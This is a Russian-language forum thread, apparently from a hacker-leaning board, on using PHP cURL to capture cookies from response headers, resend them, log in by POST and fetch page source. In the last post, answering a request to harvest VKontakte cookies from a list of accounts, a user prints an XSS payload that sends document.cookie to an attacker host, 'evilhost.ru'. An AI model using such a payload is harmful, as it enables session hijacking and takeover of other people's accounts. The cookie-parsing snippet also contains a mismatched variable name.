Здравствуйте. Встала задача зайти на сайт 2раза при помощи PHP. В первый раp мне нужно зайти и получить какие-то данные, которые я смогу вписать при втором заходе. Тобиш куки или сессии. Каким образом это можно осуществить? Если можно, то выложите кусочек кода.
$lol = curl_init('http://mail.ru'); curl_setopt($lol, CURLOPT_RETURNTRANSFER, 1); curl_setopt($lol, CURLOPT_COOKIE,$cookie); $pol = curl_exec($lol);
Code: session_start(); if(!isset($_SESSION['temp'])) { $_SESSION['temp'] = 'true'; } else { echo $_SESSION['temp']; unset($_SESSION['temp']); }
2preda1or, скрипт отобразит инфу после релойда страницы, т.к сначала браузер получит куки, но не передаст на сервер 2остальным, не путайте сессии с cookie. Файлы сессий хранятся на сервере, а печеньки на стороне клиента.
ТС спросил как получить, а не как написать скрипт который создает сессии или устанавливает куки. ТС куки приходят в заголовке SetCookie ответа после первого обращения к серверу. Прарсим заголовки, сохраняем установленные плюшки, дальше как написал 159932. код примерно такой: PHP: $url='http://site.ru/index.php'; //задаем урл $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER,1); $temp=curl_exec($ch); curl_close($ch); //отправляем CURLом get запрос и сохраняем ответ в $temp $cookie_pattern="|Set\-Cookie\:\s(.*);\sdomain|"; preg_match_all($cook_pattern, $temp, $out); $cookie='Cookie: '.$out[1][0]; //парсим куки из ответа и присваиваем переменной $cookie значение установленных плюшек $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIE,$cookie); $temp=curl_exec($ch); curl_close($ch); //засылаем CURLом плюшки обратно Но. Сервер плюшки обычно ставить только после каких либо действий, например авторизации. Для того, чтобы залогиниться нужно будет отправить POSTом (обчно это пост) логин и пасс (ну как минимум) в первом запросе. Тогда его код изменится на : PHP: $post_data='login=vasya&pass=trucoder'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_HEADER,1); $temp=curl_exec($ch); curl_close($ch); Для полного ответа задай правильно вопрос, что именно тебе нужно сделать.
Спс. И ещё вопросик, как можно сам код страницы курлами вытащить для дальнейшего поиска в нём строки? Если не сложно то выложите кусочек кода. Заранее спасибо
Ответ на вопрос здесь дал только .:nbd:., остальные чисто понты гоняют или вопрос плохо поняли) собственно в примере .:nbd:. переменная $temp и будет содержать код полученной страницы.
Встала такая похожая задача, не буду создавать новую тему. Нужно зайти на сайт вывести с него капчу. Затем через пост, я ввожу капчу. Затем нужно что бы эта капча передалась на тот сайт. Т.е. мне не нужно терять сессию между вводом капчи. Как мне сделать таковое?
Раз данный топик по теме как получить куки, подскажите пожалуйста каки образом можно осушествить что скрипт сам получил куки и записал их в фаил, нужно чтоб скрипт получил куки с Вконтакте, руками получается так когда авторизированы javascript:document.write(document.cookie) нужно чтоб ето сделал скрипт по списку аккаунтов собрал их куки. Заранее спасибо
lol100, ты вообще в курсах что такое куки как их готовят и едят? Получить куки владельцев аккаунта можно только если скрипт запущен на сервере VKONTAKTE, тогда ты сможешь и в файл их записать и т.д. Ну или же если ты найдёшь какую-то XSS и выполнишь JavaScript код на стороне браузера владельца аккаунта VKONTAKTE, но JavaScript не умеет писать в файл, тебе придётся редиректить на какой-то другой внешний скрипт, который будет писать куки в файл: Code: document.location = 'http://evilhost.ru/evilscript.php?var=' + document.cookie